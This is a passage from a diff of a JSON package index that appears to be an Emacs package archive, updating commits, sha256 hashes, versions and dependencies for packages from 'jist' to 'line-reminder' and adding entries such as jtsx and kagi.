"61acd8d6adbd6b25ebcc5436b4dce6d5c6d2981c", + "sha256": "00vaysw40mmv88352wcsw13wyy837m41xi4bliwqm3r1w9vlp03n" + }, + "stable": { + "version": [ + 1, + 0, + 0 + ], + "commit": "61acd8d6adbd6b25ebcc5436b4dce6d5c6d2981c", + "sha256": "00vaysw40mmv88352wcsw13wyy837m41xi4bliwqm3r1w9vlp03n" + } + }, + { "ename": "jist", "commit": "898bfa0b315240ef9335fde24ff0386a4c6c6595", "sha256": "11m9li1016cfkm4931h69d7g1dc59lwjl83wy3yipswdg3zlw0ar", @@ -64557,6 +64924,21 @@ } }, { + "ename": "jmespath", + "commit": "3efe55a893788893d8318b01db50246f072e05c0", + "sha256": "1k6zrpzw0i9qrrbwncqv63jhamls9gpaglzcqkfxl5n9jgcppjwk", + "fetcher": "github", + "repo": "UnresolvedCold/jmespath", + "unstable": { + "version": [ + 20240115, + 1310 + ], + "commit": "d3a4a4abdd6804d3aef5e0d0c538abd27667b4c3", + "sha256": "1nnf8ynsmf8l83cjjsfh9h0zj6dim4lgqsrl4fiy6m7sfi3x33q2" + } + }, + { "ename": "jmt-mode", "commit": "387b4908dba66caf154103b678ae2d49d530a5d5", "sha256": "1p6fivdcbx76nialqmykbfzfxgx4svjm8b94npwmqcbc3a6liz01", @@ -64598,11 +64980,11 @@ "repo": "SebastianMeisel/journalctl-mode", "unstable": { "version": [ - 20231113, - 809 + 20240115, + 1650 ], - "commit": "d9ecbd2f1ca15c90a05f11441886ab2e66b9a51f", - "sha256": "1mpqr8ls3xd8iirnjsk2rg3ibr13n853dj3y0hr6baddka1hydfx" + "commit": "b3dbb5b4149bc1020f81323ec38c2a7a53647289", + "sha256": "0i7bc5zflhbyxpa5bajdfw7m3ac4flyhqja1lsdjz0ndswszdav9" }, "stable": { "version": [ @@ -64682,11 +65064,11 @@ "repo": "ljos/jq-mode", "unstable": { "version": [ - 20230823, - 1003 + 20240115, + 1512 ], - "commit": "4d9e98e21642007bc32ba75a5c259760f1fcf451", - "sha256": "1jifbpa1wgljrzxyg93dhzcxrfmlnxnwlrgfs6627wl4sijh0msi" + "commit": "37028e120041a489eff352b79202361cb232377e", + "sha256": "1dhrcdjc8g830zdx35xv55j1jnrxb9kb6ai76xfg32icr1fyaf4p" }, "stable": { "version": [ @@ -64794,11 +65176,11 @@ "repo": "redguardtoo/js-comint", "unstable": { "version": [ - 20230311, + 20231126, 230 ], - "commit": "b788bf5d57ad6b902c4096b666c6d78ceff7c116", - "sha256": "0si03p6xw0ljxc6rkl2v789z4syqpnswaw6ql29g4f3qykav5xy2" + "commit": "ef2ccccad5740f3d8b5295f52a35df4f62471480", + "sha256": "0ll9yyj3p4yyvc00jvx72r06xhxyl7zrky77l750kx151mv1aixc" }, "stable": { "version": [ @@ -64949,24 +65331,24 @@ "repo": "mooz/js2-mode", "unstable": { "version": [ - 20230628, - 238 + 20231225, + 1150 ], "deps": [ "cl-lib" ], - "commit": "79bc78d77db0d2e8e43dc0f9e0504ad90bcbc26d", - "sha256": "1mgqxpsaa5ks9nrsljybw97kcb5rgh1a5si3h98h1firns1vapwp" + "commit": "ca0af32eea0281322a9ce268d98f01fbb88bbb7a", + "sha256": "13pqiwf72r7fnwvlxzgvflkbjg9rdzd2rrcj15mv9b1ma3210fsw" }, "stable": { "version": [ - 20230408 + 20231224 ], "deps": [ "cl-lib" ], - "commit": "7d928272bc311b1dd6f38d3f6365c18153e28636", - "sha256": "1vwykla43315wlky52807pn2nm508dx6593alk7hnrl2qkl7852s" + "commit": "010a536da6df345a0b9a55bbd892f5f4d0d9fdfc", + "sha256": "11ppp1m7hl4ii79zjw62bqvksyzh5xmp3q1qw21wlj2s47mkpm73" } }, { @@ -65130,26 +65512,26 @@ "repo": "json-emacs/json-mode", "unstable": { "version": [ - 20230805, - 507 + 20240203, + 751 ], "deps": [ "json-snatcher" ], - "commit": "481d5d9f4003fc14d116bf31d1bf71d14960d7d9", - "sha256": "0k4sfw3dq1wlfz2hyw72h6wgf1sss8xjcc1bnwwn7ip4balwi1yf" + "commit": "bfd1557aaa20b7518b808fdc869f094b52205234", + "sha256": "008dlgqm9l9lk12njig2hbsfqafw42169qdh0z8qq0flqmnm1vqj" }, "stable": { "version": [ 1, - 8, + 9, 0 ], "deps": [ "json-snatcher" ], - "commit": "eedb4560034f795a7950fa07016bd4347c368873", - "sha256": "0r0k56q58kb133l9x9nbisz9p2kbphfgw1l4g2xp0pjqsc9wvq8z" + "commit": "a93a0c76784376fbb9105719f25c7489991056a1", + "sha256": "0irz9gpw43wkhiq8828wm9nsc3baqg299dgly9iv7jiygk2lp14s" } }, { @@ -65346,11 +65728,11 @@ "repo": "iwahbe/jsonian", "unstable": { "version": [ - 20230914, - 116 + 20231229, + 1444 ], - "commit": "22bd5e20a653595b901ccfdc8780a0038755984d", - "sha256": "1v4wd0xc1xr4zibbs9pq2kaxqf86jxcmdwxinhkhkh450c6rfcwh" + "commit": "f200035b847d6dd10bd7987f4540cff9edd3b881", + "sha256": "0zr49wnvr7r8d5a4przxsfg9gjqkpijnngq9kzjhakhqdmqbwf8q" }, "stable": { "version": [ @@ -65463,6 +65845,30 @@ } }, { + "ename": "jtsx", + "commit": "1ae0aa7ecdf82a3717e7a883c65f032ef4d7475d", + "sha256": "0pb40zfg6rawcakkm8ly9970kygcy41z5n1kf6y1qkz840xj10ry", + "fetcher": "github", + "repo": "llemaitre19/jtsx", + "unstable": { + "version": [ + 20240122, + 1601 + ], + "commit": "c62d1cd286b4af70693f300dde1dd00283cc2084", + "sha256": "1z3xhnnbhja4v0layn1fxx6myiinspvzrribg8ygww0zhcyjfl62" + }, + "stable": { + "version": [ + 0, + 3, + 3 + ], + "commit": "5e3f41c7aaa9e3784fad6c89b48ff3731744cce8", + "sha256": "0ag1gw87icj1adnnqhx6c5z9d9yf28ycv41yi3dfdjka13ad477a" + } + }, + { "ename": "julia-formatter", "commit": "962f7c87d0630399ea388f25ec5792fa2f2b4489", "sha256": "0vx1949hwxzql4r6c6x29ffmrvhda4slayz19pqzlhgw7apg2x3h", @@ -65470,14 +65876,14 @@ "repo": "FelipeLema/julia-formatter.el", "unstable": { "version": [ - 20230525, - 1742 + 20231130, + 1512 ], "deps": [ "session-async" ], - "commit": "783df6cf8ef0db7adb4e81b86aa1e17992642493", - "sha256": "0yj9hhbwfwalqh4g9rxz4jqbc35y1w94lnr1bhrj1d842j2an9v6" + "commit": "4b40481cc9c0dcb3c9704436e00d613067d44bf5", + "sha256": "06rrkpzrmfc67aiz4wcn5l4s4hvjs7fxvxd97d80afaqc4pzrj6d" } }, { @@ -65559,8 +65965,8 @@ "repo": "gcv/julia-snail", "unstable": { "version": [ - 20231113, - 2330 + 20240201, + 637 ], "deps": [ "dash", @@ -65569,25 +65975,24 @@ "s", "spinner" ], - "commit": "16cf8ffafe5ea0925beb97e37a64eab58b2ad95d", - "sha256": "1231rkk629dqi15011bjslwvspvlgnx74xm2q9j1y37ql4zxjx2n" + "commit": "70d3e8efa48761bdac205678316395a6490c9706", + "sha256": "03998i2n4z9g7mpprl1dn122ipfawsrr4cggxjkcv26j4khccji2" }, "stable": { "version": [ 1, - 2, - 3 + 3, + 1 ], "deps": [ "dash", "julia-mode", "popup", "s", - "spinner", - "vterm" + "spinner" ], - "commit": "c33663abf081a06e0fdbf5818255f082070d2160", - "sha256": "07dj788hdfskn2k400q2fcfh18w7gflfrc5zqg8bqflhv755m30k" + "commit": "cd08e6edcd8bf5e3b44cb4deb7117e37d7e2061a", + "sha256": "0h5lwc2hsk4rc82idhf9qj9553v7x76wmy9x2z1h60pdd93ilcyr" } }, { @@ -65781,8 +66186,8 @@ "repo": "emacs-jupyter/jupyter", "unstable": { "version": [ - 20231020, - 1901 + 20231204, + 529 ], "deps": [ "cl-lib", @@ -65791,8 +66196,8 @@ "websocket", "zmq" ], - "commit": "3a31920d48dc5e0d1028fb676cf20d13ea9f78ad", - "sha256": "17fblp4pwgm3vf415rp6l510nhrl4s3ssiimnwjmghyc2v2988j4" + "commit": "da306a6dbda6f1e285281765a311938a1d9db022", + "sha256": "10inpbqnaqv1f8w2k9cv9dnczb547p3yw9dlndx3d8fwrryql40q" }, "stable": { "version": [ @@ -65842,8 +66247,8 @@ "repo": "psibi/justl.el", "unstable": { "version": [ - 20230913, - 232 + 20240124, + 1236 ], "deps": [ "f", @@ -65851,8 +66256,8 @@ "s", "transient" ], - "commit": "1364da34e2afa951e74ff40037cabc86b7525b58", - "sha256": "0bf54v5lpgm87p0l7srjj2yx7yi6p351flgbjiz2qy55hl2ahks2" + "commit": "476bf9c4fc3d753589f1cf2c13dc4e1e14aaba7e", + "sha256": "1cw1hlqfxfn1ddq9kx7xb930xxldaq5imnrikwpdi828gfq8hw82" }, "stable": { "version": [ @@ -66043,6 +66448,36 @@ } }, { + "ename": "kagi", + "commit": "e5ce95a4e9468c201e3dd7d02fe43245c36b64cd", + "sha256": "0cd63jvlkn8kd4n5v6jhzp9lllsxicqlxlgkqpiid45dlj8786h3", + "fetcher": "codeberg", + "repo": "bram85/kagi.el", + "unstable": { + "version": [ + 20240204, + 732 + ], + "deps": [ + "shell-maker" + ], + "commit": "826ff6acb477e4669d977644f91476cd6b93da04", + "sha256": "01ahk1x1dblh5s1jpvmlbgv880674v1f1fag94apiq886fcq1kg2" + }, + "stable": { + "version": [ + 0, + 3, + 1 + ], + "deps": [ + "shell-maker" + ], + "commit": "6627fc20d297afd80392488651fd46e4df051a3e", + "sha256": "0w1nkk3j3hl2177f4gw4z62wkmq17gdrybsh30i5q6rmq97ilhr6" + } + }, + { "ename": "kakapo-mode", "commit": "a43f0f1f6a0773240a51d379ec786c20a9389e7b", "sha256": "0a99cqflpzasl4wcmmf99aj8xgywkym37j7mvnsajrsk5wawdlss", @@ -66149,20 +66584,17 @@ }, { "ename": "kanagawa-theme", - "commit": "7f48763ca253881f454a999c6bebe12325066e59", - "sha256": "046va3ik8h19lm7s3308i1379d35i3jzjw9p05ml85srfxmpmchr", + "commit": "e4033364b3a2898858cecee0d6deff5779195f29", + "sha256": "00zx1zjvshvld6f1q9lk8j08nng1ra0isyhbyhnic6mhljb20mk3", "fetcher": "github", - "repo": "Meritamen/kanagawa-theme", + "repo": "meritamen/emacs-kanagawa-theme", "unstable": { "version": [ - 20231112, - 414 - ], - "deps": [ - "autothemer" + 20240120, + 647 ], - "commit": "692cc627ccdd0595de3bbc67e313a0363002e444", - "sha256": "0abckxxifh5aw55wk7ykfxi6cm4rd6ya0m8pql9591lyxfi5whxw" + "commit": "7277c9230c27f927fcde3dc5303a8b6704062ecf", + "sha256": "0w3vi358gda0p0ir7yxwxn7j397nqq3rc4v9qwcr3xs1ddj9f678" } }, { @@ -66237,15 +66669,15 @@ "repo": "ogdenwebb/emacs-kaolin-themes", "unstable": { "version": [ - 20231004, - 243 + 20240125, + 1805 ], "deps": [ "autothemer", "cl-lib" ], - "commit": "8f2cd166b3e5d19d83ab7de73a62069929238306", - "sha256": "0f5y1ri1pdgy088lxp9h8h5cvnfyi5dkvyvyxzjh00kaj10d3va5" + "commit": "3cdb921046a6d9a38045a1411afa1db47b2f7944", + "sha256": "1rk9w9a49ksg6ad2jl5gbk3q3dp4cbkf9g5brk131g2jgkka9zsp" }, "stable": { "version": [ @@ -66493,11 +66925,11 @@ "repo": "Boruch-Baum/emacs-key-assist", "unstable": { "version": [ - 20230122, - 718 + 20231208, + 446 ], - "commit": "41a958ca6b038586bfdcf01045bb8b9d379248fe", - "sha256": "099g9y3ky8hmgrq68idcjwa3452jdkggblgz397824kj13d7z02b" + "commit": "87d2378db3d997b6b5a7b2c04281c18378e70bbb", + "sha256": "1fjnnvja0r3abf2973y3c704y436krfhifyas7p6rmc8d0k4358v" }, "stable": { "version": [ @@ -66516,19 +66948,19 @@ "repo": "emacsorphanage/key-chord", "unstable": { "version": [ - 20230522, - 223 + 20240109, + 1430 ], - "commit": "e724def60fdf6473858f2962ae276cf4413473eb", - "sha256": "0hg7bf35m3r02xv4wnmgx37cllvp74wxvh00593xi5i99dr7bl03" + "commit": "dbf91fefdad58b1c2f07c92e658ce81490837c60", + "sha256": "0r3zvq1z79csgcq0mgifdakx0z0li3haxk4wxvijwxllfb9kn22g" }, "stable": { "version": [ 0, - 6 + 7 ], - "commit": "8468998946367157830df19a1e92785d22a34178", - "sha256": "10ldhwp9a21r9g72hzaig1h5yh2zblny0r36nf5nz6gzikfcq0cd" + "commit": "dbf91fefdad58b1c2f07c92e658ce81490837c60", + "sha256": "0r3zvq1z79csgcq0mgifdakx0z0li3haxk4wxvijwxllfb9kn22g" } }, { @@ -66637,26 +67069,26 @@ "repo": "tarsius/keycast", "unstable": { "version": [ - 20231105, - 1206 + 20240117, + 1559 ], "deps": [ "compat" ], - "commit": "6a6f9106270f65b0bae3afb2ccdc52a3b5fbe340", - "sha256": "0n7pxrd7n56500xnn3w9m9c73zqaan1v9cqbcyd7nrhyb4dnbc10" + "commit": "5ed2e122ee6fb324336ce12f7f260c404db1290e", + "sha256": "0jzxm6h47wn405ra7kk2rjhadngj3jb27xb5j8xri4xxdmdn0mhh" }, "stable": { "version": [ 1, 3, - 2 + 3 ], "deps": [ "compat" ], - "commit": "0b16d6aa3ae965bcd6b4d1fd0173cfde9dc8e275", - "sha256": "0nqx53a1hjgibqrmkdic6syqb2fb5fkna0k5dbbg6igb5k775c8r" + "commit": "c47fa154c756abd044da4a1353c30b978782f7dc", + "sha256": "0hwmjy90ngnbvhxiyf4l3lb7212i5bsqdz73qnfg1iwa7vgkv1q7" } }, { @@ -66740,14 +67172,14 @@ "repo": "tarsius/keymap-utils", "unstable": { "version": [ - 20230213, - 1152 + 20240101, + 2218 ], "deps": [ "compat" ], - "commit": "1806ff73b0a68e84234d65c7d08a18cf3f0d29e5", - "sha256": "1amcipkd4k8kfrlnq5sqzgwwhd42kx6aw5fnallidahz8pw79s7g" + "commit": "868c2b37abebc78c7dff72e1cb2ca85b93d07537", + "sha256": "0xrfmi4fcliag59cbrsxwdy9fblswn9iyjdfrp973jbkb5dkzwr6" }, "stable": { "version": [ @@ -66793,11 +67225,11 @@ "repo": "chuntaro/emacs-keypression", "unstable": { "version": [ - 20200819, - 534 + 20240111, + 440 ], - "commit": "9427241f3fa539e4b5ad7581a05eb7e49f2cf518", - "sha256": "0p2pag2hzxswsf5hzjfm0nf4wpp40lsmxf1x6n9vfwfrpfk5b9ar" + "commit": "e85e3fd9ce216a370be221cf9de1503777ef0088", + "sha256": "0kzcsn7ak6jm2ymjqyj18mw69whzwynlgpyjq0jzfrgi1qbqjc1b" } }, { @@ -66875,11 +67307,11 @@ "repo": "emacs-grammarly/keytar", "unstable": { "version": [ - 20221231, - 1655 + 20240101, + 846 ], - "commit": "51c8f2f1f207cc67af4e67731ee056860e107811", - "sha256": "067gmril73ri1zsakh284vxaw8sqmyr9vflmsh7a3033p4gabw4w" + "commit": "b4fdde53ec884c931db8465b334af6057b30daa1", + "sha256": "1q39dwzs9hx9ay57j1vqqqaw2fj9xzshldzniaw8rqpakqa751q3" }, "stable": { "version": [ @@ -66956,26 +67388,26 @@ "repo": "DamienCassou/khardel", "unstable": { "version": [ - 20230903, - 917 + 20231126, + 1502 ], "deps": [ "yaml-mode" ], - "commit": "1c0a0e7c817250c1d0ffc8cff9cc1998e746ea96", - "sha256": "11xqgfssjkd1pcwgky2gsij2d4nykgmq0gnal8bazz78pwsgnwrk" + "commit": "205e374b36252183a146a7a8f857bcf95a77edc3", + "sha256": "0gqijnmj24phryi6n74iq410k0637j0li1ncdymxhk3bdmp4mb40" }, "stable": { "version": [ - 1, + 2, 0, 0 ], "deps": [ "yaml-mode" ], - "commit": "1436ec5ef1b5b26104a4735ee64c0afe148700de", - "sha256": "1pa7kl3d0hmgybbvsffhinn10qmqrkkzccprqcmwhc246yb4abqa" + "commit": "205e374b36252183a146a7a8f857bcf95a77edc3", + "sha256": "0gqijnmj24phryi6n74iq410k0637j0li1ncdymxhk3bdmp4mb40" } }, { @@ -66986,28 +67418,28 @@ "repo": "khoj-ai/khoj", "unstable": { "version": [ - 20231110, - 828 + 20240129, + 1235 ], "deps": [ "dash", "transient" ], - "commit": "39ad1c6ce6c70c22c5d7a3a686a289ef0465a675", - "sha256": "17qyv28apbwa2id4mhmdwji2bmcpq8r1fnbd9q8dmqxzblbxhx85" + "commit": "da854703aa7808ff6a03c8e32c0023fba94cc079", + "sha256": "0p8djpfmwlaj8640g4rnfkrc2yvilaz4v26z9lybm5q5wy2z180d" }, "stable": { "version": [ - 0, - 14, + 1, + 5, 0 ], "deps": [ "dash", "transient" ], - "commit": "39ad1c6ce6c70c22c5d7a3a686a289ef0465a675", - "sha256": "17qyv28apbwa2id4mhmdwji2bmcpq8r1fnbd9q8dmqxzblbxhx85" + "commit": "da854703aa7808ff6a03c8e32c0023fba94cc079", + "sha256": "0p8djpfmwlaj8640g4rnfkrc2yvilaz4v26z9lybm5q5wy2z180d" } }, { @@ -67175,20 +67607,20 @@ "repo": "kivy/kivy", "unstable": { "version": [ - 20210318, - 2106 + 20240105, + 940 ], - "commit": "db86b06b9b72e514c122e3f54a0bce74adad44c5", - "sha256": "1v14gsk1fal8xqpy8myk02n7s0f0yzpcmgf8a0mizh858y1sbxxv" + "commit": "9ef218027178115a66b417ae34b21f488bdd3617", + "sha256": "17h5nk4h013ja3hm8xn5ljwsnh56qcmwskjg934ky4p9z393v7j0" }, "stable": { "version": [ 2, - 2, - 1 + 3, + 0 ], - "commit": "344768bfefd2e8f5302cc9dfb8ca41991ce6f7e7", - "sha256": "1bqqpywry23hg7vc3rh0m9svmkfk40vgaji8sy0w7m15gzw9zc42" + "commit": "9ef218027178115a66b417ae34b21f488bdd3617", + "sha256": "17h5nk4h013ja3hm8xn5ljwsnh56qcmwskjg934ky4p9z393v7j0" } }, { @@ -67232,14 +67664,14 @@ "repo": "benjaminor/kkp", "unstable": { "version": [ - 20230906, - 939 + 20231227, + 2145 ], "deps": [ "compat" ], - "commit": "fc42a998d77e50c93b66493d7e6e34126e060f3b", - "sha256": "10jjhzpxh6kas3kr6488v4b4yg2ynxxar7m233qifjpxdq2inz5j" + "commit": "cd4b9eb31fcd0393ea5614608e18e20dc3dc95e8", + "sha256": "10q7420n7gs9vl6i55ss1mdl76brl7fj0rrfrcfdc79xfai1qk17" } }, { @@ -67250,11 +67682,11 @@ "repo": "WammKD/emacs-klere-theme", "unstable": { "version": [ - 20230822, - 144 + 20240123, + 124 ], - "commit": "fa83ea76c92705bc3c1b881b615a666ae3acae28", - "sha256": "1p5hig507vdrs9fwdhsydq00vysjyb1b4yscjfq1rfc637qqgcxl" + "commit": "e73a01e69bf80f753a1603337fdc4b89e685219a", + "sha256": "1kyx1r0hwb1d16mw6y39gl7a3x32wsl0z3riki87c139z66zy8hn" } }, { @@ -67265,20 +67697,20 @@ "repo": "WammKD/Emacs-Klondike", "unstable": { "version": [ - 20230606, - 704 + 20240131, + 453 ], - "commit": "244278348e913433450329c6c863da06167a3f20", - "sha256": "1a1r8qi21hbx8fr8ihvg6bkg4sg4fmpw9vy8vq5dx106136s4y7z" + "commit": "1cf14d7b6c14ebde741c36f6aa871dcd41e37cff", + "sha256": "0vgf03zqbd6nfxrz90x0favm6d15gba86hp8vg6wcbckc7j2gn1g" }, "stable": { "version": [ 1, - 0, + 2, 0 ], - "commit": "0b14436e3ca08e1efbcccd330386e5418cbab126", - "sha256": "0qqfaxv8kfh4yxlpq21kmssa1yvdzhhs2p7wrkp4326pbdkqzjnn" + "commit": "99f7aad1221a76402746a06b57e89622fd9cf33a", + "sha256": "07xcc5gryzabxk7czghkwq1v8r09mg9yh8rwy1v2gs8qm9lwypgv" } }, { @@ -67443,11 +67875,11 @@ "repo": "bricka/emacs-kotlin-ts-mode", "unstable": { "version": [ - 20231114, - 1243 + 20231222, + 1345 ], - "commit": "9688741a59a5ffd71850660dd320b0309a2ba119", - "sha256": "1gxj3fys3py0ldz31f8frmj12f9jyyqj9g8valsy2c87qvg70ag3" + "commit": "c884b3442806a21cbcf28ac24853f05da8ac6658", + "sha256": "139a201kd8hg21jrkww86xdjwx4r586cwv9i1ypclb4mswjahgay" } }, { @@ -67565,11 +67997,11 @@ "repo": "r0bobo/kubedoc.el", "unstable": { "version": [ - 20231018, - 1913 + 20240108, + 1404 ], - "commit": "e169cb7e7254d0c0f1e7a7eda5e27a0092366e1d", - "sha256": "0jw5v17yl06whnms25zfcxcabjfm99khqszbpjpjxkv8lg6kdl38" + "commit": "aac02b096c98b83b4eaf129e6d767cf7150a6d43", + "sha256": "0rng2fqh5qyjdzx906hcmqa9zzij7a9wn65ghacxvrzkzf2kxrsl" } }, { @@ -67580,8 +68012,8 @@ "repo": "abrochard/kubel", "unstable": { "version": [ - 20231114, - 1528 + 20240201, + 2021 ], "deps": [ "dash", @@ -67589,8 +68021,8 @@ "transient", "yaml-mode" ], - "commit": "4e3d362b2df2307f7b13140810a3142b835bc9ff", - "sha256": "0lq0c5dd63d19ziw16cfhhzk4z3vjqal1vqjflvdrd2xhdzjk0xn" + "commit": "7affc4269e2a2925f68f073863af0929854002f2", + "sha256": "1956rr9wpdq9zfqks76r21j6hpq5fyvnxia1dqi4hfngyqkfkn2p" }, "stable": { "version": [ @@ -67615,15 +68047,15 @@ "repo": "abrochard/kubel", "unstable": { "version": [ - 20220909, - 2028 + 20231224, + 1343 ], "deps": [ "evil", "kubel" ], - "commit": "1b405d8756ffc7c8f1e11450d6f07ffde38fe351", - "sha256": "1a724p9xcl1x50bxrhyyriza3wmcm1q9ljflf9ba5fgl2vrvcw5h" + "commit": "3d2f86fccdf81ab890f5d46dde93f241b718a436", + "sha256": "11i4ln508kbmmyyrfndsw6vm4ypz9pdk9n5s9ymnz2wwf3fvmp72" }, "stable": { "version": [ @@ -67786,20 +68218,19 @@ "repo": "inj0h/kuronami", "unstable": { "version": [ - 20220602, - 339 + 20240104, + 2022 ], - "commit": "a51d5ff3883bd94d0a181bb5d60f747190eda4f6", - "sha256": "0mrk8d0z09cbvqisl44ln50bbmfim0j876v91x73428vr7k46z0d" + "commit": "4d0a9e5f789e5768a0c2ea7dec31f98ea95c7372", + "sha256": "14n6mg9ph8a3gmglj9gnapwh0zc6mn400a0nh961d5y8i8qqc1y6" }, "stable": { "version": [ - 1, - 0, + 2, 0 ], - "commit": "910e8fa56a0cfe89dae888522f9fec4045d017fb", - "sha256": "0pghi50ffzlp7igvq81dmrbrwyj9ivl5kkxm47hff7qgb9rvx8n1" + "commit": "4d0a9e5f789e5768a0c2ea7dec31f98ea95c7372", + "sha256": "14n6mg9ph8a3gmglj9gnapwh0zc6mn400a0nh961d5y8i8qqc1y6" } }, { @@ -67872,17 +68303,18 @@ "repo": "isamert/lab.el", "unstable": { "version": [ - 20231112, - 2208 + 20240126, + 841 ], "deps": [ + "compat", "f", "memoize", "request", "s" ], - "commit": "9f0f738c46712f5365d9d75c37ce6d1f8b6e9ba7", - "sha256": "0k54x2znxwq3ji8cvxc37h9fnr0krpyyx954f106fa7gylp86kz4" + "commit": "db4c0ec1fb11670ff8218ed088d191e3121a7696", + "sha256": "09n3hsn6w68k7krh7b01rhx084qg998fsxh6n8vsqmpi4mmn4si5" } }, { @@ -67971,30 +68403,30 @@ "repo": "Deducteam/lambdapi", "unstable": { "version": [ - 20230728, - 1221 + 20240130, + 1533 ], "deps": [ "eglot", "highlight", "math-symbol-lists" ], - "commit": "e16893661355d35db3a48f0821981b72486d4841", - "sha256": "1nz3jm68qk6gsfv5g7yz5f690vdva382c47djplswfky3kkyq9rm" + "commit": "bc447c9ab7f9a6ff6b30cabab467f445e30ae86c", + "sha256": "13qnkhb68v62q6v4ydzn15qrdkz7whxpa7birnh0rqha39shxb6d" }, "stable": { "version": [ 2, 4, - 0 + 1 ], "deps": [ "eglot", "highlight", "math-symbol-lists" ], - "commit": "193d86ca621a5a920b91b67ff09818bab29204ff", - "sha256": "04mi5awvxlqv0izbsbxi5hxx90dwcnxkw2j3iiiqsf3i6a2389zs" + "commit": "5898e7c56ec58a24586d1f48bce02516cd44b0bc", + "sha256": "1b79vc1bk64cda4x6i7f5qih0xajf78wqmvyanjf1v2jqpwbj8aq" } }, { @@ -68191,11 +68623,11 @@ "repo": "taquangtrung/lark-mode", "unstable": { "version": [ - 20230327, - 1003 + 20231221, + 340 ], - "commit": "9e19b40df29d273cf3aec9ddd0e739d3b3d9b3a8", - "sha256": "1q0hfln8xa78q2r4zw0vm66by8nr9n7pvrn096ys5ggi5835cgah" + "commit": "0a0724b0f64d433d81f90ba8f86e618f8c33522a", + "sha256": "0p59zhrdiap46zdhp40qg0hfc563629dvbz2r96xq2dav5r0l7qs" } }, { @@ -68311,20 +68743,20 @@ "repo": "X9hRRDys/latex-labeler", "unstable": { "version": [ - 20231014, - 2110 + 20231231, + 1909 ], - "commit": "d45dedbc74887c59f15c5a3dcd7546d2c29c30a4", - "sha256": "1qss7fw2b9rnl6fzb230z5jgs1m8glpaq1qhjkxa7fpm52zc49s5" + "commit": "c2df4c9d0a41a36de893925a91445ea65d504222", + "sha256": "0ar6yr7z4vans1hmhwsz1n19sx90kpnydhr3v0bjh6d8xzv31q9r" }, "stable": { "version": [ + 2, 1, - 0, 0 ], - "commit": "d45dedbc74887c59f15c5a3dcd7546d2c29c30a4", - "sha256": "1qss7fw2b9rnl6fzb230z5jgs1m8glpaq1qhjkxa7fpm52zc49s5" + "commit": "c2df4c9d0a41a36de893925a91445ea65d504222", + "sha256": "0ar6yr7z4vans1hmhwsz1n19sx90kpnydhr3v0bjh6d8xzv31q9r" } }, { @@ -68421,20 +68853,20 @@ "repo": "Christoph-D/latex-unicode-math-mode", "unstable": { "version": [ - 20170123, - 1816 + 20231210, + 2234 ], - "commit": "e8931e68214ca94e6a04080ebc629693d5881884", - "sha256": "049lpqnyjz0x2dp7rzk9gwbf5s28s33vxxk5lfhax6kaizlxkaq8" + "commit": "af6a28c3c7e8652f1e9c124beeccaa81133b1d88", + "sha256": "0g3qnixpabw6yhf54ibkgrn2m8kflxslb6nj2ga4136m5dg0fw01" }, "stable": { "version": [ 0, 3, - 1 + 2 ], - "commit": "3b82347291edcb32e4062b0048c367a3079b3e8c", - "sha256": "1xylfg8xpyb2m0qnysf58cl05ibbg4drhgq7msiiql2qrdzvpx9f" + "commit": "af6a28c3c7e8652f1e9c124beeccaa81133b1d88", + "sha256": "0g3qnixpabw6yhf54ibkgrn2m8kflxslb6nj2ga4136m5dg0fw01" } }, { @@ -68907,11 +69339,11 @@ "repo": "ledger/ledger-mode", "unstable": { "version": [ - 20230925, - 1013 + 20240117, + 1230 ], - "commit": "105d67626e91acb4550ab860e0dc4247c8a4c79e", - "sha256": "03g4w8n5zdbpzx2rbjqa95ybybpnxgshznnrhlfa5191afgci7a6" + "commit": "11e748d4838d51772f531a75849349ed8cd939ed", + "sha256": "1k64n4iickm40v6h89kqqz579b8idsgqzhmmg8da6ahxk1kgghf1" }, "stable": { "version": [ @@ -68999,27 +69431,27 @@ "repo": "martianh/lem.el", "unstable": { "version": [ - 20231022, - 1416 + 20240201, + 1457 ], "deps": [ "fedi", "markdown-mode" ], - "commit": "7f4184f51001c6df218d318b2f938cbb631541e9", - "sha256": "0ggm8y8a0gn5cj6m34fvkymfxc0agfr7cvr7wnysfzwdc0iwgwdz" + "commit": "0e956df9898be22996eee3458c160a54e8bc9986", + "sha256": "1jvpl9fm7la6cjmadqmp9gs6ylpx36a1784zw2dymfpqf28m10yk" }, "stable": { "version": [ 0, - 3 + 10 ], "deps": [ "fedi", "markdown-mode" ], - "commit": "7f4184f51001c6df218d318b2f938cbb631541e9", - "sha256": "0ggm8y8a0gn5cj6m34fvkymfxc0agfr7cvr7wnysfzwdc0iwgwdz" + "commit": "3cdbdb1c1b677ad8337dfbe053f497e9ea3500a6", + "sha256": "0s1cnmrbz57d02af5aanrm27blr4pykvszd3yqk6ycf0i69iimdz" } }, { @@ -69276,20 +69708,20 @@ "repo": "rvirding/lfe", "unstable": { "version": [ - 20220822, - 911 + 20230102, + 1428 ], - "commit": "42fc3dc57d4229800f44a0d6907185ebdf7175e2", - "sha256": "06ls8knibiw1xg2g6sm43mspps8yz7ppp431wv20ssvbplwdl624" + "commit": "68c9c7ec8ef441eb79e68772ec4956fd2671b2e7", + "sha256": "1lx3szdlhvidys9vk8d0pznnsni31wjm7afks3hhmdjj6hcp3cxi" }, "stable": { "version": [ 2, 1, - 2 + 4 ], - "commit": "6cbfdffe95caa65a659074c1c9d389fd4a6c1350", - "sha256": "180hz1p2v3vb6yyzcfwircmljlnd86ln8z80lzy3mwlyrcxblvxy" + "commit": "f3c0f02d2776b125bad33b3935e2118504bed0a4", + "sha256": "0yyh8jmdi7c4y6vjrk3zw4iy7iyqcs5h88hx96ml9dx2im2aydlq" } }, { @@ -69521,14 +69953,14 @@ "repo": "jcs-elpa/license-templates", "unstable": { "version": [ - 20230311, - 11 + 20240101, + 932 ], "deps": [ "request" ], - "commit": "09f1b017c93067c2970a0a63b69026bfc172d2b7", - "sha256": "10w84hfcwxjfqi38v43vj12mx6vjya6fq7z8kanxg12hrl3d7kcl" + "commit": "62adc47eb36a6f2eabe63c3e9dc8ce7f94007f19", + "sha256": "1r9z81xivk4d9gjyr01d55l4wrmvwzj2jli63qmq939h6jk2vvnx" }, "stable": { "version": [ @@ -69599,16 +70031,16 @@ "repo": "emacs-vs/line-reminder", "unstable": { "version": [ - 20231030, - 406 + 20240101, + 857 ], "deps": [ "fringe-helper", "ht", "ov" ], - "commit": "1835ea7dbd4943a165c9786d19cebaceff170a71", - "sha256": "1606s3ql0wchi6svv4g688nb562n0s4vlxsaspmp78lx51h93955" + "commit": 